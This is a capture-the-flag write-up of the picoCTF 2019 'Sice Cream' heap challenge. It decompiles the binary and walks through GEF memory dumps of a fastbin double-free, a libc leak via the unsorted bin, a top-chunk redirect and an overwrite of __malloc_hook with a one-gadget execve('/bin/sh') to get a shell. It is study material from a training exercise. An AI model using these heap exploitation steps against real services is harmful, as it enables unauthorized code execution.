Sice Cream

Binary Exploitation

Write Up: https://faraz.faith/2019-10-12-picoctf-2019-heap-challs/#sice_cream

The binary provided performs dynamic memory allocations and frees the allocated memory. The input to the includes name which is stored in an global array. All pointers to the memory chunks are stored in a global array which is adjacent to the name array.

The user specifies the size of the chunk required and then provides a description which is the information stored in the chunk.  Max chunk size is 88 such that all chunks will be managed using fastbins and a total of 19 malloc() requests are allowed.

Exploiting the binary involves overwriting the glibc __malloc_hook function with a one gadget to gain remote shell access. This achieved using several steps:

  1. Determine memory address of System function and __malloc_hook function call using a libc leak.
  2. Modify the top chunk pointer to point to memory area with malloc_hook pointer.
  3. Overwrite __malloc_hook with the pointer to one-gadget system function.
  4. Attempt a double Free attack which will be detected and lead to malloc_hook opening the shell command to gain remote shell.
Executable code – using Ghidra to decompile the binary.

void FUN_00400b76(void)

{
  int iVar1;
  ulong uVar2;
  long in_FS_OFFSET;
  char local_28 [24];
  undefined8 local_10;
 
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  puts(“Welcome to the Sice Cream Store!”);
  puts(“We have the best sice cream in the world!”);
  puts(“Whats your name?”);
  printf(“> “);
  read(0,&DAT_00602040,0x100);
  while( true ) {
    while( true ) {
      while( true ) {
        FUN_004008e7();
        printf(“> “);
        read(0,local_28,0x10);
        uVar2 = strtoul(local_28,(char **)0x0,10);
        iVar1 = (int)uVar2;
        if (iVar1 != 2) break;
        FUN_00400a5b();
      }
      if (2 < iVar1) break;
      if (iVar1 != 1) goto LAB_00400cb5;
      FUN_0040091e();
    }
    if (iVar1 != 3) break;
    FUN_00400b24();
  }
  if (iVar1 == 4) {
    puts(“Too hard? ;)”);
  }
LAB_00400cb5:
                    /* WARNING: Subroutine does not return */
  exit(0);
}

*—————————————————————-
void FUN_004008e7(void)

{
  puts(“1. Buy sice cream”);
  puts(“2. Eat sice cream”);
  puts(“3. Reintroduce yourself”);
  puts(“4. Exit”);
  return;
}

*—————————————————————-
void FUN_0040091e(void)

{
  int iVar1;
  ulong uVar2;
  void *pvVar3;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
 
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = FUN_004008a7();  <- get next index for global array of pointers
  if (iVar1 < 0) {
    puts(“Out of space!”);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts(“How much sice cream do you want?”); <-size of memory required
  printf(“> “);
  read(0,local_28,0x10);
  uVar2 = strtoul(local_28,(char **)0x0,10);
  if (0x58 < (uint)uVar2) {       <- memory chunk requested must be 0x58 bytes or less
    puts(“That\’s too much sice cream!”);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  pvVar3 = malloc(uVar2 & 0xffffffff);
  *(void **)(&DAT_00602140 + (long)iVar1 * 8) = pvVar3; <- save pointer to new chunk
  puts(“What flavor?”);  <- enter data to be saved in the chunks
  printf(“> “);
  read(0,*(void **)(&DAT_00602140 + (long)iVar1 * 8),uVar2 & 0xffffffff);
  puts(“Here you go!”);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

*—————————————————————-
void FUN_00400a5b(void)

{
  ulong uVar1;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
 
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts(“Which sice cream do you want to eat?”);  <- specify index of array which contains the pointer
  printf(“> “);
  read(0,local_28,0x10);
  uVar1 = strtoul(local_28,(char **)0x0,10);
  if (0x13 < (uint)uVar1) { <- index must me a value from 0 to 19
    puts(“Invalid index!”);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  free(*(void **)(&DAT_00602140 + (uVar1 & 0xffffffff) * 8)); <- release used memory chunk
  puts(“Yum!”);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

 

*—————————————————————-
int FUN_004008a7(void)

{
  int local_c;
 
  local_c = 0;
  while( true ) {
    if (0x13 < local_c) {  <- confirm that no more than 19 memory allocations requested
      return -1;
    }
    if (*(long *)(&DAT_00602140 + (long)local_c * 8) == 0) break;
    local_c = local_c + 1;
  }
  return local_c;  <- returns the index of the next free memory chunk pointers array element
}

*—————————————————————-
void FUN_00400b24(void)

{
  puts(“What\’s your name again?”);  <- provides the ability to update the name array
  printf(“> “);
  read(0,&DAT_00602040,0x100);
  printf(“Ah, right! How could a forget a name like %s!\n”,&DAT_00602040); <- prints name array
  return;
}

*—————————————————————–
void FUN_00400cc4(char *param_1)

{
  int iVar1;
  FILE *__fp;
 
  __fp = fopen(param_1,”r”);
  if (__fp != (FILE *)0x0) {
    while( true ) {
      iVar1 = _IO_getc((_IO_FILE *)__fp);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}

GLIBC Address Offsets.

The address of glibc functions will be different every time the binary is executed so we need to calculate the real address in the exploit.  Each address is relative to the glibc memory base address so the offset from the base address is what is required.

Initial leak will be at main arena + 0x58.  We need the offset from there to the libc base address in memory.  First locate the main arena address (orange) using:

gef➤  heap bins
[+] No Tcache in this version of libc
───────────────────────────────────────── Fastbins for arena 0x7fe30612eb20 ─────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────────────── Unsorted Bin for arena '*0x7fe30612eb20' ──────────────────────────────────────
[*] Invalid backward and forward bin pointers(fw==bk==NULL)
─────────────────────────────────────── Small Bins for arena '*0x7fe30612eb20' ───────────────────────────────────────
[*] Invalid backward and forward bin pointers(fw==bk==NULL)
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────────────────────── Large Bins for arena '*0x7fe30612eb20' ───────────────────────────────────────
[*] Invalid backward and forward bin pointers(fw==bk==NULL)
[+] Found 0 chunks in 0 large non-empty bins.

 

Then find the libc base address (orange) in memory:

gef➤  vmm
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /home/hamishk/picoctf/sice_cream/sice_cream_patched
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /home/hamishk/picoctf/sice_cream/sice_cream_patched
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /home/hamishk/picoctf/sice_cream/sice_cream_patched
0x00007fe305d6a000 0x00007fe305f2a000 0x0000000000000000 r-x /home/hamishk/picoctf/sice_cream/libc.so.6
0x00007fe305f2a000 0x00007fe30612a000 0x00000000001c0000 --- /home/hamishk/picoctf/sice_cream/libc.so.6
0x00007fe30612a000 0x00007fe30612e000 0x00000000001c0000 r-- /home/hamishk/picoctf/sice_cream/libc.so.6
0x00007fe30612e000 0x00007fe306130000 0x00000000001c4000 rw- /home/hamishk/picoctf/sice_cream/libc.so.6
0x00007fe306130000 0x00007fe306134000 0x0000000000000000 rw- 
0x00007fe306134000 0x00007fe30615a000 0x0000000000000000 r-x /home/hamishk/picoctf/sice_cream/ld-2.23.so
0x00007fe306356000 0x00007fe306359000 0x0000000000000000 rw- 
0x00007fe306359000 0x00007fe30635a000 0x0000000000025000 r-- /home/hamishk/picoctf/sice_cream/ld-2.23.so
0x00007fe30635a000 0x00007fe30635b000 0x0000000000026000 rw- /home/hamishk/picoctf/sice_cream/ld-2.23.so
0x00007fe30635b000 0x00007fe30635c000 0x0000000000000000 rw- 
0x00007ffeabc14000 0x00007ffeabc35000 0x0000000000000000 rw- [stack]
0x00007ffeabd7b000 0x00007ffeabd7f000 0x0000000000000000 r-- [vvar]
0x00007ffeabd7f000 0x00007ffeabd81000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]

 

Calculate the offset in python:

>>> hex(0x7fe30612eb20+0x58 – 0x00007fe305d6a000)
‘0x3c4b78’

All other memory addresses can be determined using pwntools or found manually.

The offset to system can be found using:

hamishk@ubuntu204:~/picoctf/sice_cream$ readelf -s libc.so.6 | grep system
   225: 0000000000138810    70 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.2.5
   584: 0000000000045390    45 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1351: 0000000000045390    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

 

The offset of __malloc_hook can be found using:

hamishk@ubuntu204:~/picoctf/sice_cream$ readelf -s libc.so.6 | grep malloc
   443: 0000000000084130   414 FUNC    GLOBAL DEFAULT   13 __libc_malloc@@GLIBC_2.2.5
   550: 00000000000878a0    24 FUNC    WEAK   DEFAULT   13 malloc_info@@GLIBC_2.10
   820: 0000000000086f90   474 FUNC    WEAK   DEFAULT   13 malloc_stats@@GLIBC_2.2.5
   992: 00000000000842d0   539 FUNC    WEAK   DEFAULT   13 malloc_get_state@@GLIBC_2.2.5
  1088: 00000000003c4b10     8 OBJECT  WEAK   DEFAULT   33 __malloc_hook@@GLIBC_2.2.5
  1185: 0000000000084130   414 FUNC    GLOBAL DEFAULT   13 malloc@@GLIBC_2.2.5
  1221: 0000000000085070   498 FUNC    WEAK   DEFAULT   13 malloc_usable_size@@GLIBC_2.2.5
  1467: 0000000000086ba0   705 FUNC    WEAK   DEFAULT   13 malloc_trim@@GLIBC_2.2.5
  1787: 00000000003c67b0     8 OBJECT  WEAK   DEFAULT   34 __malloc_initialize_hook@@GLIBC_2.2.5
  2087: 00000000000860e0  1320 FUNC    WEAK   DEFAULT   13 malloc_set_state@@GLIBC_2.2.5

 

The offset of __free_hook can be found using:

hamishk@ubuntu204:~/picoctf/sice_cream$ readelf -s libc.so.6 | grep free
    70: 00000000000cf460    82 FUNC    WEAK   DEFAULT   13 globfree64@@GLIBC_2.2.5
   191: 00000000000f4460    93 FUNC    GLOBAL DEFAULT   13 wordfree@@GLIBC_2.2.5
   214: 00000000003c67a8     8 OBJECT  WEAK   DEFAULT   34 __free_hook@@GLIBC_2.2.5
   351: 0000000000175120    50 FUNC    GLOBAL DEFAULT   15 __libc_thread_freeres@@GLIBC_PRIVATE
   361: 000000000002d7f0   187 FUNC    GLOBAL DEFAULT   13 __freelocale@@GLIBC_2.2.5
   429: 00000000000e8380    68 FUNC    WEAK   DEFAULT   13 regfree@@GLIBC_2.2.5
   540: 00000000000844f0   460 FUNC    WEAK   DEFAULT   13 cfree@@GLIBC_2.2.5
   591: 00000000000f6aa0     5 FUNC    GLOBAL DEFAULT   13 __sched_cpufree@@GLIBC_2.7
   778: 000000000002d7f0   187 FUNC    WEAK   DEFAULT   13 freelocale@@GLIBC_2.3
  1366: 000000000007b1e0    52 FUNC    GLOBAL DEFAULT   13 _IO_free_backup_area@@GLIBC_2.2.5
  1465: 0000000000123010     5 FUNC    WEAK   DEFAULT   13 freeifaddrs@@GLIBC_2.3
  1474: 0000000000072c20   109 FUNC    GLOBAL DEFAULT   13 _IO_free_wbackup_area@@GLIBC_2.2.5
  1529: 000000000013a970    26 FUNC    GLOBAL DEFAULT   13 xdr_free@@GLIBC_2.2.5
  1725: 00000000000895e0   117 FUNC    GLOBAL DEFAULT   13 obstack_free@@GLIBC_2.2.5
  1819: 00000000000844f0   460 FUNC    GLOBAL DEFAULT   13 __libc_free@@GLIBC_2.2.5
  1879: 00000000000ef8f0    53 FUNC    GLOBAL DEFAULT   13 freeaddrinfo@@GLIBC_2.2.5
  1919: 0000000000174350    97 FUNC    GLOBAL DEFAULT   14 __libc_freeres@@GLIBC_2.2.5
  2162: 0000000000121a80    54 FUNC    WEAK   DEFAULT   13 if_freenameindex@@GLIBC_2.2.5
  2178: 00000000000cf460    82 FUNC    GLOBAL DEFAULT   13 globfree@@GLIBC_2.2.5
  2207: 00000000000895e0   117 FUNC    GLOBAL DEFAULT   13 _obstack_free@@GLIBC_2.2.5
  2232: 00000000000844f0   460 FUNC    GLOBAL DEFAULT   13 free@@GLIBC_2.2.5

 

One-Gadget offset:

hamishk@ubuntu204:~/picoctf/sice_cream$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
Binary Debugging – using GEF (GDB) to analyse the execution of the program.

Step 1. Calculate run time memory address of system and others using a libc leak:

No symbols included with the compiled binary.  A useful point to break is at puts().

gef➤  break puts
Breakpoint 1 at 0x7f219a857690

The first input for the name array. Memory contents looks like a fake chunk.

gef➤  x /16xg 0x602040
0x602040:	0x0000000000000000	0x0000000000000061
0x602050:	0x0000000000000000	0x000000000000000a
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000

 

Request first chunk – chunk pointer added to first element of the array of pointers and heap memory status updated.

 

Second chunk request.

 

Third chunk requested.

 

Now a double free is performed by freeing an additional redundant chunk due to the libc double free attack mitigation implemented.

First chunk is freed.

 

Second chunk freed.

 

First chunk freed again (double free). There are two chunks with the same address in the fastbin.

 

The first chunk is re-allocated with data in the format of a fake chunk. The fd pointer is the memory address of the name global array.

gef➤  x /40xg 0x02215010 -0x10
0x2215000:	0x0000000000000000	0x0000000000000061
0x2215010:	0x0000000000602040	0x4141414141414141
0x2215020:	0x4141414141414141	0x4141414141414141
0x2215030:	0x4141414141414141	0x4141414141414141
0x2215040:	0x4141414141414141	0x4141414141414141
0x2215050:	0x4141414141414141	0x4141414141414141
0x2215060:	0x4141414141414141	0x0000000000000061
0x2215070:	0x0000000002215000	0x4242424242424242
0x2215080:	0x4242424242424242	0x4242424242424242
0x2215090:	0x4242424242424242	0x4242424242424242
0x22150a0:	0x4242424242424242	0x4242424242424242
0x22150b0:	0x4242424242424242	0x4242424242424242
0x22150c0:	0x4242424242424242	0x0000000000000061
0x22150d0:	0x4343434343434343	0x4343434343434343
0x22150e0:	0x4343434343434343	0x4343434343434343
0x22150f0:	0x4343434343434343	0x4343434343434343
0x2215100:	0x4343434343434343	0x4343434343434343
0x2215110:	0x4343434343434343	0x4343434343434343
0x2215120:	0x4343434343434343	0x0000000000020ee1
0x2215130:	0x0000000000000000	0x0000000000000000

The memory manager is tricked into beleiving that there is an additional free chunk in the programs memory space.

 

The next phase is to allocate all available free chunks in the fastbin to gain a usable pointer to the fake chunk in the name global array.

Next Memory allocation.

 

Another memory allocation.

The next allocation reaches the end of the fastbin and returns the pointer to name array.

Memory contents of Name array:

gef➤  x /16xg 0x602040
0x602040:	0x0000000000000000	0x0000000000000061
0x602050:	0x4343434343434343	0x4343434343434343
0x602060:	0x4343434343434343	0x4343434343434343
0x602070:	0x4343434343434343	0x4343434343434343
0x602080:	0x4343434343434343	0x4343434343434343
0x602090:	0x4343434343434343	0x4343434343434343
0x6020a0:	0x4343434343434343	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000

Pointer added to global array and memory heap status updated.

Change the name array to another fake chunk.

gef➤  x /32xg 0x602040
0x602040:	0x0000000000000000	0x0000000000000091
0x602050:	0x0000000000000021	0x0000000000000021
0x602060:	0x0000000000000021	0x0000000000000021
0x602070:	0x0000000000000021	0x0000000000000021
0x602080:	0x0000000000000021	0x0000000000000021
0x602090:	0x0000000000000021	0x0000000000000021
0x6020a0:	0x0000000000000021	0x0000000000000021
0x6020b0:	0x0000000000000021	0x0000000000000021
0x6020c0:	0x0000000000000021	0x0000000000000021
0x6020d0:	0x0000000000000021	0x0000000000000021
0x6020e0:	0x0000000000000021	0x0000000000000021
0x6020f0:	0x0000000000000021	0x0000000000000021
0x602100:	0x0000000000000021	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000

Fake chunk is now released. Memory contents of name array shows that FD and BK pointers are populated with address of main_arena + 0x58.

gef➤  x /16xg 0x602040
0x602040:	0x0000000000000000	0x0000000000000091
0x602050:	0x00007f219abacb78	0x00007f219abacb78
0x602060:	0x0000000000000021	0x0000000000000021
0x602070:	0x0000000000000021	0x0000000000000021
0x602080:	0x0000000000000021	0x0000000000000021
0x602090:	0x0000000000000021	0x0000000000000021
0x6020a0:	0x0000000000000021	0x0000000000000021
0x6020b0:	0x0000000000000021	0x0000000000000021

Freeing the fake chunk in the name array adds it to the unsorted bin because it is larger than the chunks allowed in fastbin.

Updating the name array will print out the  memory address providing the libc leak.

gef➤  x /32xg 0x602040
0x602040:	0x4141414141414141	0x0a41414141414141
0x602050:	0x00007f219abacb78	0x00007f219abacb78
0x602060:	0x0000000000000021	0x0000000000000021
0x602070:	0x0000000000000021	0x0000000000000021
0x602080:	0x0000000000000021	0x0000000000000021
0x602090:	0x0000000000000021	0x0000000000000021
0x6020a0:	0x0000000000000021	0x0000000000000021
0x6020b0:	0x0000000000000021	0x0000000000000021
0x6020c0:	0x0000000000000021	0x0000000000000021
0x6020d0:	0x0000000000000090	0x0000000000000020
0x6020e0:	0x0000000000000021	0x0000000000000021
0x6020f0:	0x0000000000000021	0x0000000000000021
0x602100:	0x0000000000000021	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000

The memory address for libc functions are calculated using the leaked address and pwntools.

[*] Leak: 0x7f219abacb78
[*] main arena: 0x7f219abacb20
[*] Libc base: 0x7f219a7e8000
[*] system: 0x7f219a82d390
[*] __free_hook: 0x7f219abae7a8
[*] __malloc_hook: 0x7f219abacb10
[*] one_gadget: 0x7f219a8d82a4

Step 2. Modify the top chunk pointer to point to system memory area with malloc_hook pointer.:

Change the size of the fake chunk in the name array.

gef➤  x /32xg 0x602040
0x602040:	0x0000000000000000	0x0000000000000061
0x602050:	0x00007f219abacb78	0x00007f219abacb78
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000021
0x6020b0:	0x0000000000000021	0x0000000000000021
0x6020c0:	0x0000000000000021	0x0000000000000021
0x6020d0:	0x0000000000000090	0x0000000000000020
0x6020e0:	0x0000000000000021	0x0000000000000021
0x6020f0:	0x0000000000000021	0x0000000000000021
0x602100:	0x0000000000000021	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000

Request memory chunk to clear out unsorted bin.

gef➤  x /16xg 0x602040
0x602040:	0x0000000000000000	0x0000000000000061
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x4141414141414141
0x6020a0:	0x4141414141414141	0x0000000000000021
0x6020b0:	0x0000000000000021	0x0000000000000021

New pointer added to array and unsorted bin is now clear.

 

Create new fake chunk.

gef➤  x /16xg 0x602040
0x602040:	0x0000000000000000	0x0000000000000031
0x602050:	0x0000000000000021	0x0000000000000021
0x602060:	0x0000000000000021	0x0000000000000021
0x602070:	0x0000000000000021	0x0000000000000021
0x602080:	0x0000000000000021	0x0000000000000021
0x602090:	0x4141414141414141	0x4141414141414141
0x6020a0:	0x4141414141414141	0x0000000000000021
0x6020b0:	0x0000000000000021	0x0000000000000021

Free fake chunk goes into different fastbin.

 

Create another fake chunk in the name array.

gef➤  x /32xg 0x602040
0x602040:	0x0000000000000000	0x0000000000000061
0x602050:	0x0000000000000021	0x0000000000000021
0x602060:	0x0000000000000021	0x0000000000000021
0x602070:	0x0000000000000021	0x0000000000000021
0x602080:	0x0000000000000021	0x0000000000000021
0x602090:	0x0000000000000021	0x0000000000000021
0x6020a0:	0x0000000000000021	0x0000000000000021
0x6020b0:	0x0000000000000021	0x0000000000000021
0x6020c0:	0x0000000000000021	0x0000000000000021
0x6020d0:	0x0000000000000021	0x0000000000000021
0x6020e0:	0x0000000000000021	0x0000000000000021
0x6020f0:	0x0000000000000021	0x0000000000000021
0x602100:	0x0000000000000021	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000

 

 

A new free fake chunk with a fd pointer to the main arena in name array.

gef➤  x /32xg 0x602040
0x602040:	0x0000000000000000	0x0000000000000061
0x602050:	0x00007f219abacb2a	0x0000000000000000
0x602060:	0x0000000000000021	0x0000000000000021
0x602070:	0x0000000000000021	0x0000000000000021
0x602080:	0x0000000000000021	0x0000000000000021
0x602090:	0x0000000000000021	0x0000000000000021
0x6020a0:	0x0000000000000021	0x0000000000000021
0x6020b0:	0x0000000000000021	0x0000000000000021
0x6020c0:	0x0000000000000021	0x0000000000000021
0x6020d0:	0x0000000000000021	0x0000000000000021
0x6020e0:	0x0000000000000021	0x0000000000000021
0x6020f0:	0x0000000000000021	0x0000000000000021
0x602100:	0x0000000000000021	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000

Fastbin now points to a fake chunk in main arena memory.

 

Request a new chunk from the head of the 0x60 fastbin.

 

Request last chunk in the 0x60 fastbin to get a pointer to memory in the main arena. 

Top Chunk pointer overwritten by the data in the fake chunk. 

gef➤  x /16xg 0x7f219abacb3a -0x10
0x7f219abacb2a:	0x2040000000000000	0x0000000000000060
0x7f219abacb3a:	0x0000000000000000	0x0000000000000000
0x7f219abacb4a:	0x0000000000000000	0x0000000000000000
0x7f219abacb5a:	0x0000000000000000	0x0000000000000000
0x7f219abacb6a:	0x0000000000000000	0xcafb000000000000
0x7f219abacb7a:	0x000000007f219aba	0xcb78000000000000
0x7f219abacb8a:	0xcb7800007f219aba	0xcb8800007f219aba
0x7f219abacb9a:	0xcb8800007f219aba	0xcb9800007f219aba

Pointer to memory in main arena is added to array of all allocated pointers –

Step 3. Overwrite __malloc_hook with the one gadget system function. Request chunk of memory larger than any current free memory in fastbin.  Additional memory is taken from the area pointed to by the Top Chunk pointer.  This allows a malloc_hook overwrite with memory address of one gadget.
gef➤  x /16xg 0x00007f219abacb0b -16
0x7f219abacafb:	0x86de200000000000	0x0000000000000061
0x7f219abacb0b <__realloc_hook+3>:	0x8d82a40000000000	0x00000000007f219a
0x7f219abacb1b:	0x0000000000000000	0x0000000000000000
0x7f219abacb2b:	0x6020400000000000	0x0000000000000000
0x7f219abacb3b:	0x0000000000000000	0x0000000000000000
0x7f219abacb4b:	0x0000000000000000	0x0000000000000000
0x7f219abacb5b:	0x0000000000000000	0x86da0000007f2139
0x7f219abacb6b:	0x0000000000000000	0xbacb5b0000000000
Malloc_hook now points to memory with desired system calls.
gef➤  x /16i 0x7f219a8d82a4
   0x7f219a8d82a4:	mov    rax,QWORD PTR [rip+0x2d3c0d]        # 0x7f219ababeb8
   0x7f219a8d82ab:	lea    rsi,[rsp+0x50]
   0x7f219a8d82b0:	lea    rdi,[rip+0x9caa0]        # 0x7f219a974d57
   0x7f219a8d82b7:	mov    rdx,QWORD PTR [rax]
   0x7f219a8d82ba:	call   0x7f219a8b4770 <execve>
   0x7f219a8d82bf:	call   0x7f219a81eec0 <abort>
   0x7f219a8d82c4:	lea    rax,[rip+0x9ca8c]        # 0x7f219a974d57
   0x7f219a8d82cb:	mov    QWORD PTR [rsp+0x68],0x0
   0x7f219a8d82d4:	mov    QWORD PTR [rsp+0x50],rax
   0x7f219a8d82d9:	mov    rax,QWORD PTR [rsp+0x20]
   0x7f219a8d82de:	mov    QWORD PTR [rsp+0x60],rax
   0x7f219a8d82e3:	lea    rax,[rip+0x9e3a1]        # 0x7f219a97668b
   0x7f219a8d82ea:	mov    QWORD PTR [rsp+0x58],rax
   0x7f219a8d82ef:	jmp    0x7f219a8d81d2
   0x7f219a8d82f4:	mov    esi,0x2
   0x7f219a8d82f9:	mov    edi,eax
    The pointers to memory chunk has been added to array –

Step 4. Attempt a double Free attack which will be detected and lead to malloc_hook opening the shell command to gain remote shell.

First call to free chunk at index(0) –

 

Second call to free the same chunk. Program detects double free attempt and launches remote shell.